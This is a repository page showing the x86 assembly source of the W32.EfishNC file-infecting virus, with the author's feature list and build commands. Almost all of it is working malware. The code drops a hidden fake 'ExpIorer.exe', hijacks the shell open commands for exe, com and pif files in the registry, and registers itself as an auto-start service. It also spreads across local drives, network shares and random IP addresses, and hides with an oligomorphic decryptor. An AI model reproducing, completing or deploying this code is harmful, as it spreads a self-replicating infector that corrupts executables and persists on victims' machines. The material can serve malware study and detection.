ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-22 19:36:11 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
bd503fe709
MalwareSourceCode/Win32/Infector/Win32.Efishnc.asm

3421 lines
128 KiB
NASM
Raw Normal View History

Add files via upload
2020-10-11 03:07:43 +00:00
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[EFISHNC.ASM]<EFBFBD><EFBFBD><EFBFBD>
comment ;)
W32.EfishNC by roy g biv
some of its features:
- parasitic resident (own process) infector of PE exe/dll (but not looking at suffix)
- infects files in all directories on all fixed and network drives and network shares
- directory traversal is linked-list instead of recursive to reduce stack size
- enumerates shares on local network and also random IP addresses
- reloc section inserter/last section appender
- runs as service in NT/2000/XP and service process in 9x/Me
- hooks all executable shell\open\command values
- EPO and xlat (unbreakable!) encryption with oligomorphic decryptor
- auto function type selection (Unicode under NT/2000/XP, ANSI under 9x/Me)
- uses CRCs instead of API names
- uses SEH for common code exit
- section attributes are never altered (virus is self-modifying but runs on stack)
- no infect files with data outside of image (eg self-extractors)
- infected files are padded by random amounts to confuse tail scanners
- uses SEH walker to find kernel address (no hard-coded addresses)
- correct file checksum without using imagehlp.dll :) 100% correct algorithm
- plus some new code optimisations that were never seen before :)
---
optimisation tip: Windows appends ".dll" automatically, so this works:
push "cfs"
push esp
call LoadLibraryA
---
to build this thing:
tasm
----
tasm32 /ml /m3 efishnc
tlink32 /B:400000 /x efishnc,,,import32
Virus is not self-modifying, so no need to alter section attributes
---
We're in the middle of a phase transition:
a butterfly flapping its wings at
just the right moment could
cause a storm to happen.
-I'm trying to understand-
I'm at a moment in my life-
I don't know where to flap my wings.
(Danny Hillis)
(;
.486
.model flat
extern GetCurrentProcess:proc
extern WriteProcessMemory:proc
extern MessageBoxA:proc
extern ExitProcess:proc
.data
;must be reverse alphabetical order because they are stored on stack
;API names are not present in replications, only in dropper
expnames db "WriteProcessMemory" , 0
db "WriteFile" , 0
db "WinExec" , 0
db "SetFileAttributesA" , 0
db "MoveFileA" , 0
db "LoadLibraryA" , 0
db "GlobalFree" , 0
db "GlobalAlloc" , 0
db "GetWindowsDirectoryA", 0
db "GetTickCount" , 0
db "GetTempFileNameA" , 0
db "GetFileAttributesA" , 0
db "GetCurrentProcess" , 0
db "DeleteFileA" , 0
db "CreateFileA" , 0
db "CloseHandle" , 0
regnames db "RegSetValueA" , 0
db "RegCreateKeyA" , 0
db "RegCloseKey" , 0
db "OpenSCManagerA" , 0
db "CreateServiceA" , 0
db "CloseServiceHandle", 0
exenames db "LoadLibraryA" , 0
db "GlobalAlloc" , 0
db "GetVersion" , 0
db "GetTickCount" , 0
db "GetStartupInfoW", 0
db "GetStartupInfoA", 0
db "GetCommandLineW", 0
db "GetCommandLineA", 0
db "ExitProcess" , 0
db "CreateProcessW" , 0
db "CreateProcessA" , 0
usrnames db "CharNextW", 0
db "CharNextA", 0
svcnames db "StartServiceCtrlDispatcherA", 0
krnnames db "lstrlenW" , 0
db "lstrcpyW" , 0
db "lstrcatW" , 0
db "UnmapViewOfFile" , 0
db "Sleep" , 0
db "SetFileTime" , 0
db "SetFileAttributesW" , 0
db "SetFileAttributesA" , 0
db "SetCurrentDirectoryW", 0
db "SetCurrentDirectoryA", 0
db "MultiByteToWideChar" , 0
db "MapViewOfFile" , 0
db "LoadLibraryA" , 0
db "GlobalFree" , 0
db "GlobalAlloc" , 0
db "GetVersion" , 0
db "GetTickCount" , 0
db "GetFullPathNameW" , 0
db "GetFullPathNameA" , 0
db "GetDriveTypeA" , 0
db "FindNextFileW" , 0
db "FindNextFileA" , 0
db "FindFirstFileW" , 0
db "FindFirstFileA" , 0
db "FindClose" , 0
db "CreateThread" , 0
db "CreateFileW" , 0
db "CreateFileMappingA" , 0
db "CreateFileA" , 0
db "CloseHandle" , 0
sfcnames db "SfcIsFileProtected", 0
netnames db "WNetOpenEnumW" , 0
db "WNetOpenEnumA" , 0
db "WNetEnumResourceW", 0
db "WNetEnumResourceA", 0
db "WNetCloseEnum" , 0
ip9xnames db "NetShareEnum", 0
ipntnames db "NetShareEnum" , 0
db "NetApiBufferFree", 0
txttitle db "EfishNC", 0
txtbody db "running...", 0
include efishnc.inc
.code
dropper label near
mov edx, expcrc_count
mov ebx, offset expnames
mov edi, offset expcrcbegin
call create_crcs
mov edx, regcrc_count
mov ebx, offset regnames
mov edi, offset regcrcbegin
call create_crcs
mov edx, execrc_count
mov ebx, offset exenames
mov edi, offset execrcbegin
call create_crcs
mov edx, usrcrc_count
mov ebx, offset usrnames
mov edi, offset usrcrcbegin
call create_crcs
mov edx, svccrc_count
mov ebx, offset svcnames
mov edi, offset svccrcbegin
call create_crcs
mov edx, krncrc_count
mov ebx, offset krnnames
mov edi, offset krncrcbegin
call create_crcs
mov edx, sfccrc_count
mov ebx, offset sfcnames
mov edi, offset sfccrcbegin
call create_crcs
mov edx, netcrc_count
mov ebx, offset netnames
mov edi, offset netcrcbegin
call create_crcs
mov edx, ip9xcrc_count
mov ebx, offset ip9xnames
mov edi, offset ip9xcrcbegin
call create_crcs
mov edx, ipntcrc_count
mov ebx, offset ipntnames
mov edi, offset ipntcrcbegin
call create_crcs
restore_loc label near
pushad
enter 0, 0
jmp efishnc_inf
db decsize - (offset $ - offset restore_loc) dup ('r')
xor ebx, ebx
push ebx
push offset txttitle
push offset txtbody
push ebx
call MessageBoxA
push ebx
call ExitProcess
create_crcs proc near
imul ebp, edx, 4
create_loop label near
or eax, -1
create_outer label near
xor al, byte ptr [ebx]
push 8
pop ecx
create_inner label near
add eax, eax
jnb create_skip
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
create_skip label near
loop create_inner
sub cl, byte ptr [ebx] ;carry set if not zero
inc ebx ;carry not altered by inc
jb create_outer
push eax
dec edx
jne create_loop
mov eax, esp
push ecx
push ebp
push eax
push edi
call GetCurrentProcess
push eax
xchg esi, eax
call WriteProcessMemory
add esp, ebp
ret
create_crcs endp
;-----------------------------------------------------------------------------
;everything before this point is dropper code
;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
;virus code begins here in infected files
;-----------------------------------------------------------------------------
efishnc_inf proc near
cld ;decryptor can set D flag
call walk_seh
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
expcrcbegin label near ;place < 80h bytes from call for smaller code
dd (expcrc_count + 1) dup (0)
expcrcend label near
dd offset drop_exp - offset expcrcend + 4
db "EfishNC - roy g biv" ;better, stronger, faster
walk_seh label near
xor esi, esi
lods dword ptr fs:[esi]
inc eax
seh_loop label near
dec eax
xchg esi, eax
lods dword ptr [esi]
inc eax
jne seh_loop
lods dword ptr [esi]
;-----------------------------------------------------------------------------
;moved label after some data because "e800000000" looks like virus code ;)
;-----------------------------------------------------------------------------
init_findmz label near
inc eax
xchg edi, eax
find_mzhdr label near
;-----------------------------------------------------------------------------
;do not use hard-coded kernel address values because it is not portable
;Microsoft used all different values for 95, 98, NT, 2000, Me, XP
;they will maybe change again for every new release
;-----------------------------------------------------------------------------
dec edi ;sub 64kb
xor di, di ;64kb align
call is_pehdr
jne find_mzhdr
mov ebx, edi
pop edi
;-----------------------------------------------------------------------------
;parse export table
;-----------------------------------------------------------------------------
mov esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff]
lea esi, dword ptr [ebx + esi + peexp.expordbase]
lods dword ptr [esi] ;Ordinal Base
lea ebp, dword ptr [eax * 2 + ebx]
lods dword ptr [esi]
lods dword ptr [esi]
lods dword ptr [esi] ;Export Address Table RVA
lea edx, dword ptr [ebx + eax]
lods dword ptr [esi] ;Name Pointer Table RVA
add ebp, dword ptr [esi] ;Ordinal Table RVA
lea ecx, dword ptr [ebx + eax]
mov esi, ecx
push_export label near
push ecx
get_export label near
lods dword ptr [esi]
push ebx
add ebx, eax ;Name Pointer VA
or eax, -1
crc_outer label near
xor al, byte ptr [ebx]
push 8
pop ecx
crc_inner label near
add eax, eax
jnb crc_skip
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
crc_skip label near
loop crc_inner
sub cl, byte ptr [ebx] ;carry set if not zero
inc ebx ;carry not altered by inc
jb crc_outer
pop ebx
cmp dword ptr [edi], eax
jne get_export ;must find all since WriteProcessMemory() needed to run host
;-----------------------------------------------------------------------------
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
;this allows to push addresses onto the stack, and the order is known
;-----------------------------------------------------------------------------
pop ecx
mov eax, esi
sub eax, ecx ;Name Pointer Table VA
shr eax, 1
movzx eax, word ptr [ebp + eax - 4] ;get export ordinal
mov eax, dword ptr [eax * 4 + edx] ;get export RVA
add eax, ebx
push eax
scas dword ptr [edi]
cmp dword ptr [edi], 0
jne push_export
add edi, dword ptr [edi + 4]
jmp edi
dispname label near
db "Explorer", 0
explabel label near
db "ExpIorer.exe", 0
expsize equ 0d4h
;RLE-based compressed MZ header, PE header, import table, section table
dd 11111111110000011100001011100000b
; mmmmmmmmmmz 01mmz 02mmm
db 'M', 'Z', "gdi32.dll", 'P', 'E', 4ch, 1, 1
dd 00000110000111100001001010010000b
; z 01mz 03mmz 02r 04m
db 2, 2ch, 10h, 88h
dd 00000111110100100001001000111110b
; z 01mmmmr 02z 04mz 07mm
db 0fh, 3, 0bh, 1, 56h, (offset efishnc_exe - offset efishnc_inf + expsize) and 0ffh, ((efishnc_exe - offset efishnc_inf + expsize + 1000h) shr 8) and 0ffh
dd 00001001010010001011000010100001b
; z 02r 04mz 05mz 02mz 02
db 0ch, 40h, 10h
dd 00000110000101010111100001111100b
; z 01mz 02mr 07mz 03mmm
db 2, 1, 4, "Arc"
dd 00001010000101000111100000101001b
; z 02mz 03mz 07mz 01r 02
db ((efishnc_codeend - offset efishnc_inf + expsize + 1fffh) and not 0fffh) shr 8, expsize, 2
dd 10000111000011100001110000110101b
; mz 03mz 03mz 03mz 03r 04
db 1, 1, 1, 1
dd 10001110101001100101001111001111b
; mz 07r 04mmz 0ar 0er 0e
db 2, 8, 10h
dd 00010110000111000010100001101100b
; z 05mz 03mz 02mz 03r 08
db 10h, ((efishnc_codeend - offset efishnc_inf + expsize + 1ffh) and not 1ffh) shr 8, 1
dd 00011110000000000000000000000000b
; z 07m
db 60h
dd 0
;decompressed data follow. 'X' bytes are set to random value every time
; db 'M', 'Z' ;00
; db "gdi32.dll", 0 ;02 align 4, filler (overload for dll name and import lookup table RVA)
; db 'P', 'E', 0, 0 ;0c 00 signature (overload for date/time stamp)
; dw 14ch ;10 04 machine (overload for forwarder chain)
; dw 1 ;12 06 number of sections (overload for forwarder chain)
; dd 2 ;14 08 date/time stamp (overload for dll name RVA)
; dd 102ch ;18 0c pointer to symbol table (overload for import address table RVA)
; db X, X, X, X ;1c 10 number of symbols
; dw 88h ;20 14 size of optional header
; dw 30fh ;22 16 characteristics
; dw 10bh ;24 18 magic
; db X ;26 1a major linker
; db X ;27 1b minor linker
; dd 0 ;28 1c size of code (overload for import table terminator)
; dd 56h ;2c 20 size of init data (overload for import name table RVA)
; dd 0 ;30 24 size of uninit data (overload for import name table terminator)
; dd offset efishnc_exe - offset efishnc_inf + expsize + 1000h
; ;34 28 entry point
; db X, X, X, X ;38 2c base of code
; dd 0ch ;3c 30 base of data (overload for lfanew)
; dd 400000h ;40 34 image base
; dd 1000h ;44 38 section align
; dd 200h ;48 3c file align
; db 1, X ;4c 40 major os
; db X, X ;4e 42 minor os
; db X, X ;50 44 major image
; db X, X ;52 46 minor image
; dw 4 ;54 48 major subsys
; dw 0 ;56 4a minor subsys (overload for import name table)
; db "Arc", 0 ;58 4c reserved (overload for import name table)
; dd (aligned size of code) ;5c 50 size of image
; dd expsize ;60 54 size of headers
; dd 0 ;64 58 checksum
; dw 2 ;68 5c subsystem
; db X, X ;6a 5e dll characteristics
; dd 1 ;6c 60 size of stack reserve
; dd 1 ;70 64 size of stack commit
; dd 1 ;74 68 size of heap reserve
; dd 1 ;78 6c size of heap commit
; db X, X, X, X ;7c 70 loader flags
; dd 2 ;80 74 number of rva and sizes (ignored by Windows 9x/Me)
; dd 0 ;84 78 export
; db X, X, X, X ;88 7c export
; dd 1008h ;8c 80 import
; dd 0 ;90 84 import
; dd 0 ;94 88 resource
; db X, X, X, X ;98 8c resource
; db X, X, X, X, X, X, X, X ;9c 90 exception
; db X, X, X, X, X, X, X, X ;a4 98 certificate
; db X, X, X, X, X, X, X, X ;ac a0 base reloc (overload for section name)
; dd 0 ;b4 a8 debug (overload for virtual size)
; dd 1000h ;b8 ac debug (overload for virtual address)
; dd (aligned size of code) ;bc b0 architecture (overload for file size)
; dd 1 ;c0 b4 architecture (overload for file offset)
; db X, X, X, X ;c4 b8 global data (overload for pointer to relocs)
; db X, X, X, X ;c8 bc global data (overload for pointer to line numbers)
; dd 0 ;cc c0 tls (overload for reloc table and line numbers)
; dd 60000000h ;d0 c4 tls (overload for section characteristics)
; ;d4
drop_exp label near
mov ebx, esp
lea esi, dword ptr [edi + offset explabel - offset drop_exp]
mov edi, offset efishnc_codeend - offset efishnc_inf + expsize + 1ffh
;file size must be > end of last section
push edi
xor ebp, ebp ;GMEM_FIXED
push ebp
call dword ptr [ebx + expcrcstk.pGlobalAlloc]
push eax ;GlobalFree
push ebp ;WriteFile
push esp ;WriteFile
push edi ;WriteFile
push ebp ;CreateFileA
push FILE_ATTRIBUTE_HIDDEN ;CreateFileA
push CREATE_ALWAYS ;CreateFileA
push ebp ;CreateFileA
push ebp ;CreateFileA
push GENERIC_WRITE ;CreateFileA
push eax ;CreateFileA
lea ecx, dword ptr [eax + 7fh]
push ecx ;MoveFileA
push eax ;MoveFileA
push eax ;GetFileAttributesA
push ebp ;SetFileAttributesA
push eax ;SetFileAttributesA
push ecx ;DeleteFileA
push ecx ;GetTempFileNameA
push ebp ;GetTempFileNameA
push esp ;GetTempFileNameA
push eax ;GetTempFileNameA
push edi ;GetWindowsDirectoryA
push eax ;GetWindowsDirectoryA
xchg ebp, eax
call dword ptr [ebx + expcrcstk.pGetWindowsDirectoryA]
lea edi, dword ptr [ebp + eax - 1]
call dword ptr [ebx + expcrcstk.pGetTempFileNameA]
call dword ptr [ebx + expcrcstk.pDeleteFileA]
mov al, '\'
scas byte ptr [edi]
je skip_slash
stos byte ptr [edi]
;-----------------------------------------------------------------------------
;append exe name, assumes name is 0dh bytes long
;-----------------------------------------------------------------------------
skip_slash label near
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
movs byte ptr [edi], byte ptr [esi]
;-----------------------------------------------------------------------------
;anti-anti-file dropper - remove read-only attribute, delete file, rename directory
;-----------------------------------------------------------------------------
call dword ptr [ebx + expcrcstk.pSetFileAttributesA]
call dword ptr [ebx + expcrcstk.pGetFileAttributesA]
test al, FILE_ATTRIBUTE_DIRECTORY
pop ecx
pop eax
je skip_move
push eax
push ecx
call dword ptr [ebx + expcrcstk.pMoveFileA]
skip_move label near
call dword ptr [ebx + expcrcstk.pCreateFileA]
push edi ;WriteFile
push ebx
xchg ebp, eax
call dword ptr [ebx + expcrcstk.pGetTickCount]
xchg ebx, eax
xor ecx, ecx
;-----------------------------------------------------------------------------
;decompress MZ header, PE header, section table, import table
;-----------------------------------------------------------------------------
lods dword ptr [esi]
copy_bytes label near
movs byte ptr [edi], byte ptr [esi]
test_bits label near
add eax, eax
jb copy_bytes
add eax, eax
sbb dl, dl
and dl, bl
shld ecx, eax, 4
rol ebx, cl
shl eax, 4
xchg edx, eax
rep stos byte ptr [edi]
xchg edx, eax
jne test_bits
lods dword ptr [esi]
test eax, eax
jne test_bits
mov cx, offset efishnc_codeend - offset efishnc_inf
sub esi, offset drop_exp - offset efishnc_inf
rep movs byte ptr [edi], byte ptr [esi]
pop ebx
push ebp
call dword ptr [ebx + expcrcstk.pWriteFile]
push ebp
call dword ptr [ebx + expcrcstk.pCloseHandle]
pop eax
push eax
inc ebp
je load_regdll ;allow only 1 copy to run
push 0
push eax
call dword ptr [ebx + expcrcstk.pWinExec]
load_regdll label near
sub esi, offset efishnc_codeend - offset regdll
push esi
call dword ptr [ebx + expcrcstk.pLoadLibraryA]
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
regcrcbegin label near ;place < 80h bytes from call for smaller code
dd (regcrc_count + 1) dup (0)
regcrcend label near
dd offset reg_file - offset regcrcend + 4
regval db 'ExpIorer "%1" %*', 0
regkey db "\com" ;no regedit.com ;)
db "\exe" ;must be 4 bytes long
db "\pif" ;hook all executable suffix (except .scr which passes /S)
reg_file label near ;must follow immediately
mov ebx, esp
mov ecx, HKEY_LOCAL_MACHINE
;-----------------------------------------------------------------------------
;alter Software\Classes in Local Machine and Current User
;because in Windows 2000/XP, Current User values override Local Machine values
;-----------------------------------------------------------------------------
reg_loopouter label near
lea ebp, dword ptr [edi + offset regval - offset reg_file]
sub edi, offset reg_file - offset regkey
push (offset reg_file - offset regkey) shr 2
pop esi
reg_loopinner label near
push ecx
push "dna"
push "mmoc"
push "\nep"
push "o\ll"
push "ehs\"
push "elif"
push dword ptr [edi] ;comfile, exefile, piffile
push "sess"
push "alc\"
push "eraw"
push "tfos" ;obfuscated ;)
mov eax, esp
push eax
push eax
push ecx
call dword ptr [ebx + regcrcstk.rRegCreateKeyA]
pop eax
add esp, 28h ;size software\classes\???file\shell\open\command - 4
push eax ;RegCloseKey
push offset regkey - offset regval
push ebp
push REG_SZ
push 0 ;default value
push eax
call dword ptr [ebx + regcrcstk.rRegSetValueA]
call dword ptr [ebx + regcrcstk.rRegCloseKey]
scas dword ptr [edi]
pop ecx
dec esi
jne reg_loopinner
loopw reg_loopouter ;decrements CX only
;-----------------------------------------------------------------------------
;register as service if NT/2000/XP (recognised but ignored by 9x/Me)
;no start service because code is running already
;-----------------------------------------------------------------------------
push SC_MANAGER_CREATE_SERVICE
push esi
push esi
call dword ptr [ebx + regcrcstk.rOpenSCManagerA]
mov ecx, dword ptr [ebx + size regcrcstk]
push ecx
push eax
push esi
push esi
push esi
push esi
push esi
push ecx
push esi ;SERVICE_ERROR_IGNORE
push SERVICE_AUTO_START
push SERVICE_WIN32_OWN_PROCESS
push esi
sub edi, offset reg_file - offset dispname
push edi
add edi, offset explabel - offset dispname
push edi
push eax
call dword ptr [ebx + regcrcstk.rCreateServiceA]
push eax
call dword ptr [ebx + regcrcstk.rCloseServiceHandle]
call dword ptr [ebx + regcrcstk.rCloseServiceHandle]
call dword ptr [ebx + 4 + size regcrcstk + expcrcstk.pGlobalFree]
;-----------------------------------------------------------------------------
;restore host bytes
;-----------------------------------------------------------------------------
push eax
push esp
push decsize
call store_restore
orgbytes label near
db decsize dup (90h)
;-----------------------------------------------------------------------------
;WriteProcessMemory() is best to alter bytes because VirtualProtect() can fail
;-----------------------------------------------------------------------------
store_restore label near
mov esi, offset restore_loc
push esi
call dword ptr [ebx + 4 + size regcrcstk + expcrcstk.pGetCurrentProcess]
push eax
call dword ptr [ebx + 4 + size regcrcstk + expcrcstk.pWriteProcessMemory]
store_popsize label near
add esp, 'rgb!'
org $ - 4
dd popsize
push esi
pop esi
popad
jmp dword ptr [esp - 24h] ;no stack change in ring 3
;(except in some debuggers)
;-----------------------------------------------------------------------------
;virus code begins here in dropped exe
;-----------------------------------------------------------------------------
efishnc_exe label near
call walk_seh
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
execrcbegin label near ;place < 80h bytes from call for smaller code
dd (execrc_count + 1) dup (0)
execrcend label near
dd offset load_user32 - offset execrcend + 4
load_user32 label near
call skip_user32
db "user32", 0
skip_user32 label near
call dword ptr [esp + execrcstk.eLoadLibraryA + 4]
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
usrcrcbegin label near ;place < 80h bytes from call for smaller code
dd (usrcrc_count + 1) dup (0)
usrcrcend label near
dd offset get_cmdline - offset usrcrcend + 4
;-----------------------------------------------------------------------------
;determine platform and dynamically select function types (ANSI or Unicode)
;-----------------------------------------------------------------------------
get_cmdline label near
mov ebx, esp
call dword ptr [ebx + size usrcrcstk + execrcstk.eGetVersion]
shr eax, 1fh
lea esi, dword ptr [eax * 4 + ebx]
;-----------------------------------------------------------------------------
;RegisterServiceProcess() if 9x/Me (just sets one bit)
;-----------------------------------------------------------------------------
mov ecx, dword ptr fs:[tib.TibTeb]
or byte ptr [ecx + teb.procflags + 1], al
;-----------------------------------------------------------------------------
;parse command-line in platform-independent way to see how file was run
;-----------------------------------------------------------------------------
dec eax
mov al, 0ffh
movzx edi, ax ;ffff if Unicode, 00ff if ANSI
call dword ptr [esi + size usrcrcstk + execrcstk.eGetCommandLineW]
stack_delta label near
mov ebp, dword ptr [eax]
and ebp, edi
cmp ebp, '"' ;Unicode-compatible compare
je skip_argv0
push ' '
pop ebp
skip_argv0 label near
push eax
call dword ptr [esi + usrcrcstk.uCharNextW]
mov ecx, dword ptr [eax]
and ecx, edi
je argv1_skip
cmp ecx, ebp
jne skip_argv0
find_argv1 label near
push eax
call dword ptr [esi + usrcrcstk.uCharNextW]
mov ecx, dword ptr [eax]
and ecx, edi
cmp ecx, ' ' ;Unicode-compatible compare
je find_argv1
argv1_skip label near
;-----------------------------------------------------------------------------
;if argv1 exists then argv0 was run using shell\open\command so run argv1
;-----------------------------------------------------------------------------
jecxz stack_copy
sub esp, size processinfo
mov edx, esp
sub esp, size startupinfo
mov ecx, esp
push edx
push ecx
xor edx, edx
push edx
push edx
push edx
push edx
push edx
push edx
push eax
push edx
push ecx
call dword ptr [esi + size usrcrcstk + execrcstk.eGetStartupInfoW]
call dword ptr [esi + size usrcrcstk + execrcstk.eCreateProcessW]
call dword ptr [ebx + size usrcrcstk + execrcstk.eExitProcess]
;-----------------------------------------------------------------------------
;copy to stack and run from there for no write-protection and dynamic resizing
;-----------------------------------------------------------------------------
stack_copy label near
call dword ptr [ebx + size usrcrcstk.execrcstk.eGetTickCount]
;RNG seed
mov ebx, dword ptr [ebx + size usrcrcstk + execrcstk.eGlobalAlloc]
mov esi, 401000h + expsize ;entry point VA
entrsize equ ((offset efishnc_codeend - offset efishnc_inf - size usrcrcstk - size execrcstk - 1) and -4) \
+ ((statelen + 1) shl 2) ;include RNG cache
if entrsize ge 8192
error code size too large ;solution: use another enter after copy
endif
enter entrsize, 0
mov edi, esp
push ebx ;save for kernel base later
mov ecx, offset efishnc_codeend - offset efishnc_inf
lea ebp, dword ptr [edi + offset stack_exec - offset efishnc_inf]
rep movs byte ptr [edi], byte ptr [esi]
jmp ebp
stack_exec label near
;-----------------------------------------------------------------------------
;feersum endjinn - oligomorphic decryptor with random line order
;-----------------------------------------------------------------------------
call randinit
push decsize + tblsize + grbgsize + tblsize + grbgsize + vsize + randsize + grbgsize
push GMEM_ZEROINIT
call ebx
push eax
mov dword ptr [edi + store_decsrc - offset efishnc_codeend + 1], eax
add eax, decsize
mov ebx, eax
inc ah ;include old xlat table size
mov dword ptr [edi + store_copysrc - offset efishnc_codeend + 1], eax
push eax
xchg esi, eax
call random
and eax, grbgsize - 1
add esi, eax ;table offset
call random
and eax, grbgsize - 1
inc ah ;include new xlat table size
lea ebp, dword ptr [esi + eax] ;buffer offset
call random
test al, 1
je init_table
mov ebp, esi ;buffer offset
call random
and eax, randsize - 1
lea esi, dword ptr [ebp + eax + vsize]
;table offset
init_table label near
mov dword ptr [edi + offset store_encdst - offset efishnc_codeend + 1], ebp
mov ecx, grbgsize + tblsize + grbgsize + vsize + randsize + grbgsize
pop edi
init_buffer label near
call random
stos byte ptr [edi]
loop init_buffer
;-----------------------------------------------------------------------------
;bit table is constant time, and much faster than scasb with increasing range
;-----------------------------------------------------------------------------
fill_table label near
call random
movzx eax, al
bts dword ptr [ebx - (tblsize shr 3)], eax
jb fill_table ;already in table
mov byte ptr [ebx + ecx], al
inc cl
jne fill_table ;fill with 256 unique values
pop edi
push ebp ;buffer offset
transform label near
mov al, cl
xlat byte ptr [ebx]
mov byte ptr [esi + eax], cl
inc cl
jne transform
call random
and eax, (randsize - 1) and -4 ;dword align
mov ecx, eax ;random extra size
add ax, small vsize ;64kb limit
mov ebp, eax ;enter size
add ax, popsize
mov dword ptr [esp + offset store_popsize - offset efishnc_inf + 0ah], eax
call random
and eax, state_decdown
xchg ebx, eax
call random
and al, state_esifirst
or bl, al
call random
and al, state_pushret
je skip_pushb
or bl, al
call random
test bl, state_decdown
jne skip_pushb
and al, state_pushb
or bl, al
skip_pushb label near
call random
and al, state_movesi
or bl, al
call random
and al, state_movedi
or bl, al
call random
and al, state_jg
or bl, al
mov al, 60h ;pushad
stos byte ptr [edi]
store_block1 label near
call random
and eax, block1and
cmp al, block1cmp
jnb store_block1
call callblock1
;-----------------------------------------------------------------------------
;block 1 contains: mov ebx/esi, lea esi/ebx, enter, mov edi
;std (if down direction) and possibly push (if using ret to jump)
;example 1:
;enter vsize + random size, 0
;std
;mov esi, offset encrypted block end + random size
;push esp
;mov edi, ebp
;lea ebx, dword ptr [esi + offset xlat table]
;example 2:
;mov ebx, offset xlat table
;enter vsize + random size, 0
;lea esi, dword ptr [ebx + offset encrypted block begin]
;mov edi, esp
;-----------------------------------------------------------------------------
procblock1 label near
dw offset storeebx - offset procblock1
dw offset storeesi - offset procblock1
dw offset storeenter - offset procblock1
dw offset storeedi - offset procblock1
dw offset storestd - offset procblock1
dw offset storepushb - offset procblock1
callblock1 label near
pop edx
movzx eax, word ptr [eax * 2 + edx]
add eax, edx
call eax
cmp bh, block1done
jne store_block1
pop eax
and bx, (not state_esifirst) and 0ffh
mov ebp, edi ;loop label
store_block2 label near
call random
and eax, block2and
cmp al, block2cmp
jnb store_block2
call callblock2
;-----------------------------------------------------------------------------
;block 2 contains: load, xlat, store, cmp, branch
;inc esi (if using mov esi), inc edi (if using mov edi)
;possibly push (if using ret to jump) and ret, or jmp esp
;example 1:
;lods byte ptr [esi]
;xlat byte ptr [ebx]
;mov byte ptr [edi], al
;inc edi
;cmp edi, ebp
;jl label
;push esp
;ret
;example 2:
;mov al, byte ptr [esi]
;xlat byte ptr [ebx]
;dec esi
;mov byte ptr [edi], al
;dec edi
;cmp esp, edi
;jle label
;jmp esp
;-----------------------------------------------------------------------------
procblock2 label near
dw offset storelods - offset procblock2
dw offset storexlat - offset procblock2
dw offset storestos - offset procblock2
dw offset storeincs - offset procblock2
dw offset storeincd - offset procblock2
dw offset storecmp - offset procblock2
dw offset storejne - offset procblock2
dw offset storepushe - offset procblock2
dw offset storeret - offset procblock2
callblock2 label near
pop ecx
movzx eax, word ptr [eax * 2 + ecx]
add eax, ecx
call eax
test bl, 1 shl state_ret
je store_block2
pop edi
call find_mzhdr
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
krncrcbegin label near ;place < 80h bytes from call for smaller code
dd (krncrc_count + 1) dup (0)
krncrcend label near
dd offset swap_create - offset krncrcend + 4
;-----------------------------------------------------------------------------
;swap CreateFileW and CreateFileMappingA because of alphabet order
;-----------------------------------------------------------------------------
swap_create label near
mov dword ptr [edi + offset store_krnapi - offset swap_create + 3], esp
mov ebx, esp
mov eax, dword ptr [ebx + krncrcstk.kCreateFileMappingA]
xchg dword ptr [ebx + krncrcstk.kCreateFileW], eax
mov dword ptr [ebx + krncrcstk.kCreateFileMappingA], eax
;-----------------------------------------------------------------------------
;get SFC support if available
;-----------------------------------------------------------------------------
call load_sfc
db "sfc_os", 0 ;Windows XP (forwarder chain from sfc.dll)
load_sfc label near
call cLoadLibraryA
test eax, eax
jne found_sfc
push 'cfs' ;Windows Me/2000
push esp
call cLoadLibraryA
pop ecx
test eax, eax
je sfcapi_esp
found_sfc label near
push edi
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
sfccrcbegin label near ;place < 80h bytes from call for smaller code
dd (sfccrc_count + 1) dup (0)
sfccrcend label near
dd offset sfcapi_pop - offset sfccrcend + 4
sfcapi_pop label near
pop eax
pop edi
sfcapi_esp label near
mov dword ptr [edi + offset store_sfcapi - offset swap_create + 1], eax
;-----------------------------------------------------------------------------
;get rest of APIs required for network thread
;-----------------------------------------------------------------------------
push 'rpm'
push esp
call cLoadLibraryA
pop ecx
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
netcrcbegin label near ;place < 80h bytes from call for smaller code
dd (netcrc_count + 1) dup (0)
netcrcend label near
dd offset netapi_esp - offset netcrcend + 4
netapi_esp label near
mov eax, dword ptr [esp + netcrcstk.nWNetCloseEnum - netcrcstk.nWNetOpenEnumW]
mov dword ptr [edi + offset store_netapi - offset netapi_esp + 1], eax
;-----------------------------------------------------------------------------
;initialise service table if NT/2000/XP
;-----------------------------------------------------------------------------
call cGetVersion
shr eax, 1fh
jne svc_main ;no service if 9x/Me
push eax
push eax
